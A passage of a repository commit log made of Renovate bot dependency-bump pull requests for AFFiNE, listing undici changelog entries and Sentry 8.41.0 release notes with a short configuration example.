-   handle body errors by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3632](https://redirect.github.com/nodejs/undici/pull/3632)
-   make cloned request inherit dispatcher by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3631](https://redirect.github.com/nodejs/undici/pull/3631)
-   Remove symbols from web specs by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3633](https://redirect.github.com/nodejs/undici/pull/3633)
-   cleanup web symbol removal by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3638](https://redirect.github.com/nodejs/undici/pull/3638)
-   build(deps): bump mitata from 0.1.14 to 1.0.4 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3641](https://redirect.github.com/nodejs/undici/pull/3641)
-   feat: implement WebSocketStream by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3560](https://redirect.github.com/nodejs/undici/pull/3560)
-   export WebSocketStream, add docs and types by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3645](https://redirect.github.com/nodejs/undici/pull/3645)
-   build(deps): bump node from `3cb4748` to `83b4d7b` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3621](https://redirect.github.com/nodejs/undici/pull/3621)
-   feat: add DNS interceptor by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3490](https://redirect.github.com/nodejs/undici/pull/3490)
-   prefer fail over close the websocket connection in error cases by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3651](https://redirect.github.com/nodejs/undici/pull/3651)
-   fix: various typos by [@&#8203;NathanBaulch](https://redirect.github.com/NathanBaulch) in [https://github.com/nodejs/undici/pull/3640](https://redirect.github.com/nodejs/undici/pull/3640)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3634](https://redirect.github.com/nodejs/undici/pull/3634)
-   test: increase bitness in `test/fixtures/*.pem` by [@&#8203;LiviaMedeiros](https://redirect.github.com/LiviaMedeiros) in [https://github.com/nodejs/undici/pull/3659](https://redirect.github.com/nodejs/undici/pull/3659)
-   mock: fix mocking of Uint8Array and ArrayBuffers as provided mock-responses by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3662](https://redirect.github.com/nodejs/undici/pull/3662)
-   test: less flaky timers acceptance test, rework fast timer tests to pass them faster by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3656](https://redirect.github.com/nodejs/undici/pull/3656)
-   build(deps): bump github/codeql-action from 3.26.6 to 3.26.10 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3664](https://redirect.github.com/nodejs/undici/pull/3664)
-   build(deps): bump peter-evans/create-pull-request from 6.1.0 to 7.0.5 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3665](https://redirect.github.com/nodejs/undici/pull/3665)
-   build(deps): bump fastify/github-action-merge-dependabot from 3.10.1 to 3.10.2 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3667](https://redirect.github.com/nodejs/undici/pull/3667)
-   build(deps): bump codecov/codecov-action from 4.5.0 to 4.6.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3668](https://redirect.github.com/nodejs/undici/pull/3668)
-   ws: move implementation agnostic onFail logic to shared function by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3663](https://redirect.github.com/nodejs/undici/pull/3663)
-   build(deps): bump step-security/harden-runner from 2.9.1 to 2.10.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3666](https://redirect.github.com/nodejs/undici/pull/3666)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3669](https://redirect.github.com/nodejs/undici/pull/3669)
-   fix: add option `ignoreTrailingSlash` to MockAgent and `.intercept()`  by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3655](https://redirect.github.com/nodejs/undici/pull/3655)
-   fix: ignore leading and trailing crlfs in formdata body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3677](https://redirect.github.com/nodejs/undici/pull/3677)
-   test: add test to ensure full type when parsing multipart/form-data' by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3683](https://redirect.github.com/nodejs/undici/pull/3683)
-   test: use globalThis.Headers and skip if is missing by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3684](https://redirect.github.com/nodejs/undici/pull/3684)
-   jsdoc: adds some jsdoc to fetch headers implementation, minor changes by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3687](https://redirect.github.com/nodejs/undici/pull/3687)
-   feat: check maxHeadersSize on client instantiation and not on Parser instantion by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3654](https://redirect.github.com/nodejs/undici/pull/3654)
-   test: remove test for issue 1670 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3690](https://redirect.github.com/nodejs/undici/pull/3690)
-   replace instanceof in brand checks with isPrototypeOf by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3692](https://redirect.github.com/nodejs/undici/pull/3692)
-   test: make fetch test independent from internet connection by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3691](https://redirect.github.com/nodejs/undici/pull/3691)
-   build(deps-dev): bump esbuild from 0.19.12 to 0.24.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3698](https://redirect.github.com/nodejs/undici/pull/3698)
-   fix: restructure determineRequestsReferrer to match better spec by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3699](https://redirect.github.com/nodejs/undici/pull/3699)
-   set ws readyState if closed before connection could be established by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3701](https://redirect.github.com/nodejs/undici/pull/3701)
-   types: fix return type of WebidlUtil.Type by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3685](https://redirect.github.com/nodejs/undici/pull/3685)
-   fetch: refactor referrer policy util functions by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3706](https://redirect.github.com/nodejs/undici/pull/3706)
-   fix: PoolBase kClose and kDestroy should await and not return the Promise by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3716](https://redirect.github.com/nodejs/undici/pull/3716)
-   fix: data-url set extractValue of collectAnHTTPQuotedString by default to false by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3717](https://redirect.github.com/nodejs/undici/pull/3717)
-   faster brand check by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3720](https://redirect.github.com/nodejs/undici/pull/3720)
-   web: mark as uncloneable when possible by [@&#8203;jazelly](https://redirect.github.com/jazelly) in [https://github.com/nodejs/undici/pull/3709](https://redirect.github.com/nodejs/undici/pull/3709)
-   chore(H2): onboard H2 into Undici queueing system by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3707](https://redirect.github.com/nodejs/undici/pull/3707)
-   http: extract listeners from client-h1 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3725](https://redirect.github.com/nodejs/undici/pull/3725)
-   http2: extract listenHandlers and one bugfix by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3722](https://redirect.github.com/nodejs/undici/pull/3722)
-   feat: http caching by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3562](https://redirect.github.com/nodejs/undici/pull/3562)
-   build(deps-dev): bump borp from 0.17.0 to 0.18.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3734](https://redirect.github.com/nodejs/undici/pull/3734)
-   docs: fix broken link in readme by [@&#8203;pastelsky](https://redirect.github.com/pastelsky) in [https://github.com/nodejs/undici/pull/3591](https://redirect.github.com/nodejs/undici/pull/3591)
-   chore: add jsdoc to lib/web/websocket/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3564](https://redirect.github.com/nodejs/undici/pull/3564)
-   chore: remove redundant async in readable.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3643](https://redirect.github.com/nodejs/undici/pull/3643)
-   fix(types): add missing `cache` prop to RequestInit by [@&#8203;rindeal](https://redirect.github.com/rindeal) in [https://github.com/nodejs/undici/pull/3569](https://redirect.github.com/nodejs/undici/pull/3569)
-   \[http-cache] follow up by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3733](https://redirect.github.com/nodejs/undici/pull/3733)
-   fix([#&#8203;3736](https://redirect.github.com/nodejs/undici/issues/3736)): leaked error event on response body by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3740](https://redirect.github.com/nodejs/undici/pull/3740)
-   fix: unsafe methods not causing cache purge by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3739](https://redirect.github.com/nodejs/undici/pull/3739)
-   build(deps): bump node from `83b4d7b` to `f1b4315` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3756](https://redirect.github.com/nodejs/undici/pull/3756)
-   fix filename\* parsing by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3768](https://redirect.github.com/nodejs/undici/pull/3768)
-   fix http2 test by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3769](https://redirect.github.com/nodejs/undici/pull/3769)
-   add unsafe-url referrerPolicy test by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3772](https://redirect.github.com/nodejs/undici/pull/3772)
-   chore(docs): add request() example for conditionally reading the body by [@&#8203;styfle](https://redirect.github.com/styfle) in [https://github.com/nodejs/undici/pull/3743](https://redirect.github.com/nodejs/undici/pull/3743)
-   fix: dns interceptor ip ttl by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3770](https://redirect.github.com/nodejs/undici/pull/3770)
-   add node v23 workflow by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3780](https://redirect.github.com/nodejs/undici/pull/3780)
-   fix: dns interceptor affinity by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3778](https://redirect.github.com/nodejs/undici/pull/3778)
-   fix aborting Streams by [@&#8203;epistemancering](https://redirect.github.com/epistemancering) in [https://github.com/nodejs/undici/pull/3754](https://redirect.github.com/nodejs/undici/pull/3754)
-   add tests from cookie package by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3789](https://redirect.github.com/nodejs/undici/pull/3789)
-   disable failing test by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3782](https://redirect.github.com/nodejs/undici/pull/3782)
-   fix: http2 queueing by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3761](https://redirect.github.com/nodejs/undici/pull/3761)
-   test(interceptors): fix dns testing on windows by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3793](https://redirect.github.com/nodejs/undici/pull/3793)
-   feat: use resolved ports in dns interceptor by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3786](https://redirect.github.com/nodejs/undici/pull/3786)
-   fix: cache by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3804](https://redirect.github.com/nodejs/undici/pull/3804)
-   fix: assume blocking unless HEAD by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3771](https://redirect.github.com/nodejs/undici/pull/3771)
-   chore: use common WASM builder by [@&#8203;mhdawson](https://redirect.github.com/mhdawson) in [https://github.com/nodejs/undici/pull/3791](https://redirect.github.com/nodejs/undici/pull/3791)
-   refactor: silence neostandard import rules error by [@&#8203;jerome-benoit](https://redirect.github.com/jerome-benoit) in [https://github.com/nodejs/undici/pull/3776](https://redirect.github.com/nodejs/undici/pull/3776)
-   build(deps): bump actions/dependency-review-action from 4.3.4 to 4.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3797](https://redirect.github.com/nodejs/undici/pull/3797)
-   build(deps): bump github/codeql-action from 3.26.10 to 3.27.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3796](https://redirect.github.com/nodejs/undici/pull/3796)
-   build(deps): bump fastify/github-action-merge-dependabot from 3.10.2 to 3.11.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3795](https://redirect.github.com/nodejs/undici/pull/3795)
-   docs: add example using proxy with fetch by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3800](https://redirect.github.com/nodejs/undici/pull/3800)
-   fix: handle Headers in RedirectHandler by [@&#8203;iiAku](https://redirect.github.com/iiAku) in [https://github.com/nodejs/undici/pull/3777](https://redirect.github.com/nodejs/undici/pull/3777)
-   Skip debuglog tests by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3810](https://redirect.github.com/nodejs/undici/pull/3810)
-   build(deps): bump actions/upload-artifact from 4.4.0 to 4.4.3 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3794](https://redirect.github.com/nodejs/undici/pull/3794)
-   h2: do not emit data after goaway by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3811](https://redirect.github.com/nodejs/undici/pull/3811)
-   fix redirect interceptor with FormData body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3815](https://redirect.github.com/nodejs/undici/pull/3815)
-   docs: fix broken links in undici webpage by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3807](https://redirect.github.com/nodejs/undici/pull/3807)
-   fix: handle undici Headers and Maps in redirect-handler by [@&#8203;iiAku](https://redirect.github.com/iiAku) in [https://github.com/nodejs/undici/pull/3819](https://redirect.github.com/nodejs/undici/pull/3819)
-   fix: handle undefined deref() of WeakRef(socket) by [@&#8203;hochoy](https://redirect.github.com/hochoy) in [https://github.com/nodejs/undici/pull/3751](https://redirect.github.com/nodejs/undici/pull/3751)
-   build(deps-dev): bump [@&#8203;sinonjs/fake-timers](https://redirect.github.com/sinonjs/fake-timers) from 11.3.1 to 12.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3823](https://redirect.github.com/nodejs/undici/pull/3823)
-   fix: range end is zero-indexed by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3826](https://redirect.github.com/nodejs/undici/pull/3826)
-   lib: more cache fixes by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3816](https://redirect.github.com/nodejs/undici/pull/3816)
-   fix: cache fixes by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3830](https://redirect.github.com/nodejs/undici/pull/3830)
-   Headers webidl errors by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3833](https://redirect.github.com/nodejs/undici/pull/3833)
-   Fix goaway by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3835](https://redirect.github.com/nodejs/undici/pull/3835)
-   refactor: maxEntriesCount by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3832](https://redirect.github.com/nodejs/undici/pull/3832)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3693](https://redirect.github.com/nodejs/undici/pull/3693)
-   docs: fix broken links by using absolute path by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3820](https://redirect.github.com/nodejs/undici/pull/3820)
-   fix: memory store by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3834](https://redirect.github.com/nodejs/undici/pull/3834)
-   Update Dispatch.md to Dispatcher.md by [@&#8203;bcomnes](https://redirect.github.com/bcomnes) in [https://github.com/nodejs/undici/pull/3839](https://redirect.github.com/nodejs/undici/pull/3839)
-   lib: add `nowAbsolute` to fast timers by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3749](https://redirect.github.com/nodejs/undici/pull/3749)
-   feat: cache etag support by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3758](https://redirect.github.com/nodejs/undici/pull/3758)
-   feat: support request cache control directives by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3658](https://redirect.github.com/nodejs/undici/pull/3658)
-   Bench updates prior to release by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3845](https://redirect.github.com/nodejs/undici/pull/3845)
-   fix([#&#8203;3817](https://redirect.github.com/nodejs/undici/issues/3817)): send servername for SNI on TLS by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3821](https://redirect.github.com/nodejs/undici/pull/3821)
-   Revert nowAbsolute, add regression test by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3850](https://redirect.github.com/nodejs/undici/pull/3850)
-   fix: missing error handler by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3859](https://redirect.github.com/nodejs/undici/pull/3859)
-   fix: 301 and 302 change method to GET by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3862](https://redirect.github.com/nodejs/undici/pull/3862)
-   feat: sqlite cache store by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3657](https://redirect.github.com/nodejs/undici/pull/3657)
-   fix: sending formdata bodies with http2 by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3863](https://redirect.github.com/nodejs/undici/pull/3863)
-   Update return type of RetryCallback by [@&#8203;mqayyuum](https://redirect.github.com/mqayyuum) in [https://github.com/nodejs/undici/pull/3851](https://redirect.github.com/nodejs/undici/pull/3851)
-   fix: cleanup sqlite store by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3868](https://redirect.github.com/nodejs/undici/pull/3868)
-   refactor: sqlite versioning by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3870](https://redirect.github.com/nodejs/undici/pull/3870)
-   fix: pass down context in onConnect by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3858](https://redirect.github.com/nodejs/undici/pull/3858)
-   fix: cache fixes by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3871](https://redirect.github.com/nodejs/undici/pull/3871)
-   fix: we can redirect disturbed request body if it's not going to be used by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3873](https://redirect.github.com/nodejs/undici/pull/3873)
-   perf: only prune if adding new entry by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3872](https://redirect.github.com/nodejs/undici/pull/3872)
-   fix: Fixed the issue that there is no running request when http2 goaway by [@&#8203;ShenHongFei](https://redirect.github.com/ShenHongFei) in [https://github.com/nodejs/undici/pull/3875](https://redirect.github.com/nodejs/undici/pull/3875)
-   feat: new hooks by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3878](https://redirect.github.com/nodejs/undici/pull/3878)
-   Multiple fixes for SQLiteStore, enable it in CI by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3881](https://redirect.github.com/nodejs/undici/pull/3881)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3838](https://redirect.github.com/nodejs/undici/pull/3838)
-   cache: fix stale-while-revalidate and stale-if-error by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3865](https://redirect.github.com/nodejs/undici/pull/3865)
-   refactor: port redirect handler to new hooks by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3879](https://redirect.github.com/nodejs/undici/pull/3879)
-   Drop node v18 by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3880](https://redirect.github.com/nodejs/undici/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 03:10:03 +00:00
renovate
6484aef45f chore: bump up all non-major dependencies (#8945)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.40.0` -> `8.41.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.40.0/8.41.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.40.0/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.40.0/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.0.19` -> `1.0.21`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.0.19/1.0.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.0.19/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.0.19/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`33.2.0` -> `33.2.1`](https://renovatebot.com/diffs/npm/electron/33.2.0/33.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.2.0/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.2.0/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`15.11.6` -> `15.11.7`](https://renovatebot.com/diffs/npm/happy-dom/15.11.6/15.11.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.11.6/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.11.6/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.461.0` -> `^0.462.0`](https://renovatebot.com/diffs/npm/lucide-react/0.461.0/0.462.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.461.0/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.461.0/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.0` -> `0.27.1`](https://renovatebot.com/diffs/npm/typedoc/0.27.0/0.27.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.0/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.0/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.41.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.41.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.40.0...8.41.0)

##### Important Changes

-   **meta(nuxt): Require minimum Nuxt v3.7.0 ([#&#8203;14473](https://redirect.github.com/getsentry/sentry-javascript/pull/14473))**

    We formalized that the Nuxt SDK is at minimum compatible with Nuxt version 3.7.0 and above.
    Additionally, the SDK requires the implicit `nitropack` dependency to satisfy version `^2.10.0` and `ofetch` to satisfy `^1.4.0`.
    It is recommended to check your lock-files and manually upgrade these dependencies if they don't match the version ranges.

##### Deprecations

We are deprecating a few APIs which will be removed in the next major.

The following deprecations will *potentially* affect you:

-   **feat(core): Update & deprecate `undefined` option handling ([#&#8203;14450](https://redirect.github.com/getsentry/sentry-javascript/pull/14450))**

    In the next major version we will change how passing `undefined` to `tracesSampleRate` / `tracesSampler` / `enableTracing` will behave.

    Currently, doing the following:

    ```ts
    Sentry.init({
      tracesSampleRate: undefined,
    });
    ```

    Will result in tracing being *enabled* (although no spans will be generated) because the `tracesSampleRate` key is present in the options object.
    In the next major version, this behavior will be changed so that passing `undefined` (or rather having a `tracesSampleRate` key) will result in tracing being disabled, the same as not passing the option at all.
    If you are currently relying on `undefined` being passed, and and thus have tracing enabled, it is recommended to update your config to set e.g. `tracesSampleRate: 0` instead, which will also enable tracing in v9.

    The same applies to `tracesSampler` and `enableTracing`.

-   **feat(core): Log warnings when returning `null` in `beforeSendSpan` ([#&#8203;14433](https://redirect.github.com/getsentry/sentry-javascript/pull/14433))**

    Currently, the `beforeSendSpan` option in `Sentry.init()` allows you to drop individual spans from a trace by returning `null` from the hook.
    Since this API lends itself to creating "gaps" inside traces, we decided to change how this API will work in the next major version.
